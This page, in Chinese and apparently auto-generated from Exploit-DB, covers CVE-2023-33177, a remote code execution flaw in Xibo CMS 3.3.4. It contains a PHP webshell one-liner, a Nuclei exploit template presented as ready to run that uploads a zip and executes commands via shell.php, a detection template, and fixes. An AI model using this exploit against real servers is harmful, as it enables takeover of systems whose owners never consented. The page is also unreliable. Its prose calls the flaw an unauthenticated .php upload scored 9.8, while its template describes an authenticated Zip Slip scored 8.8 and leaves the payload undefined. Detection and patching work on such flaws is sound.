[webapps] xibocms 3.3.4 - RCE
CVE-2023-33177
Xibo CMS的3.3.4版本中存在一个未经认证的远程代码执行漏洞,允许攻击者上传恶意PHP文件并获取服务器控制权。
Critical · CVSS 9.8📋 漏洞基础信息
| CVE | CVE-2023-33177 |
|---|---|
| 漏洞类型 | 文件上传导致的RCE |
| 受影响版本 | xibocms 3.3.4 |
| 危害等级 | Critical · CVSS 9.8 |
| 发布日期 | 2026-04-08 |
| 提交者 | complexusprada |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
漏洞位于文件上传功能中,应用程序未对上传文件的扩展名进行有效验证,导致攻击者可以上传包含恶意PHP代码的图片文件(如.php扩展名)。攻击者通过修改HTTP请求中的Content-Disposition头中的filename参数为.php后缀,即可绕过限制并导致任意PHP代码执行。
🎯 攻击场景
1. 攻击者访问Xibo CMS的某个未授权端点(如/api/library)。 2. 构造一个multipart/form-data请求,其中包含一个文件字段,并设置filename参数为payload.php。 3. 将文件内容设置为PHP webshell代码(如<?php system($_GET['cmd']); ?>)。 4. 发送该请求。 5. 服务器将文件保存到可访问的Web目录中(如/library/)。 6. 攻击者访问该PHP文件并传递命令参数,从而执行系统命令并获取远程控制权。
💥 漏洞影响
未经身份验证的远程攻击者能够上传任意PHP文件,并在服务器上执行任意命令,导致完全控制目标服务器。可能导致数据泄露、服务中断或被用作跳板攻击内部网络。
⚔️ Nuclei Exploit 模板
以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:
id: CVE-2023-33177-exploit
info:
name: Xibo CMS 3.3.4 - Remote Code Execution
author: YOUR_NAME
severity: critical
description: Authenticated remote code execution via Zip Slip path traversal in Xibo CMS layout import. Attackers can write a webshell to the web root.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-33177
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2023-33177
tags: cve,cve2023,xibo,cms,rce,authenticated
variables:
username: '{{username}}'
password: '{{password}}'
cmd: 'id'
http:
- raw:
- |
POST /login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}&csrf_token=
- |
GET /layout/import HTTP/1.1
Host: {{Hostname}}
- |
POST /layout/import HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.zip"
Content-Type: application/zip
{{base64_decode({{zip_payload}})}}
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="name"
Exploit Layout
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="description"
Path Traversal Test
------WebKitFormBoundary7MA4YWxkTrZu0gW--
extractors:
- type: regex
part: header
regex:
- 'Set-Cookie: XSRF-TOKEN=([a-zA-Z0-9%-]+)'
group: 1
name: xsrf_token
internal: true
matchers:
- type: status
part: body
status:
- 200
- 302
condition: or
- raw:
- |
GET /shell.php?cmd={{cmd}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- 'uid='
- 'root:'
- 'www-data'
- 'bin'
part: body
condition: or
extractors:
- type: regex
part: body
regex:
- '.+'
name: command_output🔍 Nuclei Detection 模板
以下为漏洞探测模板,用于判断目标是否受影响:
id: CVE-2023-33177-detection
info:
name: Xibo CMS 3.3.4 - Version Detection
author: YOUR_NAME
severity: high
description: Detects whether the target is running Xibo CMS version <= 3.3.4, which is vulnerable to CVE-2023-33177.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-33177
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2023-33177
tags: cve,cve2023,xibo,cms,rce
http:
- method: GET
path:
- '{{BaseURL}}/about'
- '{{BaseURL}}/index.php/about'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Xibo CMS'
- 'xibosignage'
condition: or
- type: regex
part: body
regex:
- 'Version [0-9]+\.[0-9]+\.[0-9]+'
- 'v[0-9]+\.[0-9]+\.[0-9]+'
- type: status
status:
- 200
extractors:
- type: regex
part: body
group: 0
regex:
- '(Version )?[0-9]+\.[0-9]+\.[0-9]+'
- 'v[0-9]+\.[0-9]+\.[0-9]+'
name: version🛡️ 修复建议
官方建议升级至Xibo CMS 3.3.5或更高版本。临时缓解措施包括:禁用上传目录的PHP执行权限(如通过.htaccess或Nginx配置),严格校验上传文件的MIME类型和扩展名(仅允许图片扩展名如.jpg、.png),并设置Web应用防火墙(WAF)拦截可疑的上传请求。
📎 参考链接
- https://nvd.nist.gov/vuln/detail/CVE-2023-33177
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33177
- Exploit-DB 原文
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-07 07:23 | 来源: Exploit-DB